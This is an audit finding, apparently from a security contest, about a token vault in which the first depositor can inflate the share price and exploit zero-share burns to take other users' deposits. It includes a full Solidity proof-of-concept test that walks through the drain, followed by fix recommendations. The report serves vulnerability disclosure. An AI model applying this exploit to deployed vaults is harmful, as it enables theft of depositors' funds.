JohnSmith

high

# First user can steal everyone else's tokens via share price manipulation and zero share burn

## Summary
A user who joins the systems first (deposits first) or temporary just only one left can manipulate share price and steal everybody's tokens by sending tokens to the system externally.
This attack is possible because protocol allows depositing a small amount of tokens and minting zero shares
## Vulnerability Detail
- Alice deposits 1 wei, and receives 1000 shares (if you initialize the vault with `STARTING_SHARES_PER_LINK = 1000` as in your test and deploy scripts)
- She makes price 1:1 via depositing 999 tokens with ERC20.transfer() 
- Next withdraws tokens worth 999 shares, so protocol left with 1 share and 1 token
- Inflates the share price to 1 share : 10^18 tokens
- People join and deposit funds
- At some point Alice can withdraw all money from vault because the protocol allows burning zero shares
## Impact
Stolen funds
## Code Snippet
One test is worth thousand words so here is the test, which you can place into your `contract Vault_depositTest` inside `deposit.t.sol` file.
```solidity
function testSharePriceManipulationAndZeroShareBurn() public {
        uint256 bobAmount = 100 ether;
        uint256 carolAmount = 120 ether;
        link.mint(alice, 1 ether);
        link.mint(bob, bobAmount);
        link.mint(carol, carolAmount);

        // Alice deposits 1 wei
        vm.startPrank(alice);
        link.approve(address(vault), type(uint256).max);
        vault.deposit(1 wei);
        vm.stopPrank();
        assertEq(vault.shares(alice), 1000); // Alice has 1000 shares 
        assertEq(vault.balanceOf(alice), 1); // which worth 1 token

        // Alice would want to reduce share price to 1:1 instead of 1000:1
        vm.prank(alice);
        link.transfer(address(vault), 999);

        assertEq(vault.shares(alice), 1000); // Alice has 1000 shares
        assertEq(vault.balanceOf(alice), 1000); // which worth 1000 tokens

        // Alice reduces amount of shares the vault has so it stores 1 share and 1 token
        vm.prank(alice);
        vault.withdraw(999);

        assertEq(vault.shares(alice), 1); // Alice has 1 share 
        assertEq(vault.balanceOf(alice), 1); // which worth 1 token

        // // Alice inflates price of a share:
        vm.prank(alice);
        link.transfer(address(vault), 1 ether - 1);

        assertEq(vault.shares(alice), 1); // Alice has 1 share 
        assertEq(vault.balanceOf(alice), 1 ether); // which worth  1 ether in tokens
 
        // // Bob deposits
        vm.startPrank(bob);
        link.approve(address(vault), type(uint256).max);
        vault.deposit(bobAmount);
        vm.stopPrank();

        assertEq(vault.shares(bob), 100); // Bob got 100 shares 
        assertEq(vault.balanceOf(bob), bobAmount); // Bob's balance is 100 ether tokens

        // // Carol deposits
        vm.startPrank(carol);
        link.approve(address(vault), carolAmount);
        vault.deposit(carolAmount);
        vm.stopPrank();

        assertEq(vault.shares(carol), 120); // Carol got 120 shares 
        assertEq(vault.balanceOf(carol), carolAmount); // Carol's balance is 120 ether tokens

        // At some point Alice decides to take some tokens from vault or all of them
        vm.startPrank(alice);
        for (uint i; i < 150; i++) {
            uint withdrawAmount = vault.convertToTokens(1) - 1 wei;
            vault.withdraw(withdrawAmount);
        }
        vm.stopPrank();

        assertGe(link.balanceOf(alice), 100 ether); // Alice deposited 1 ether tokens but withdraw 100+ at the expense of the Vault
        console.log(link.balanceOf(alice));
    }
```

## Tool used

Manual Review

## Recommendation
Ensure the number of shares to be burned is non-zero: `require(_shares != 0, "zero shares burned");`

And fix price manipulation like
-  [Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L119-L124). The same can be done in this case i.e. when `totalSupply() == 0`, send the first min liquidity LP tokens to the zero address to enable share dilution.
-   Create a periphery contract that contains a wrapper function that atomically calls `initialize()` and `deposit()`
-   Call `deposit()` once in `initialize()` to achieve the same effect as the suggestion above.
-   [BalancerV2 solution](https://github.com/balancer-labs/balancer-v2-monorepo/blob/master/pkg/pool-utils/contracts/BasePool.sol#L302-L316) 
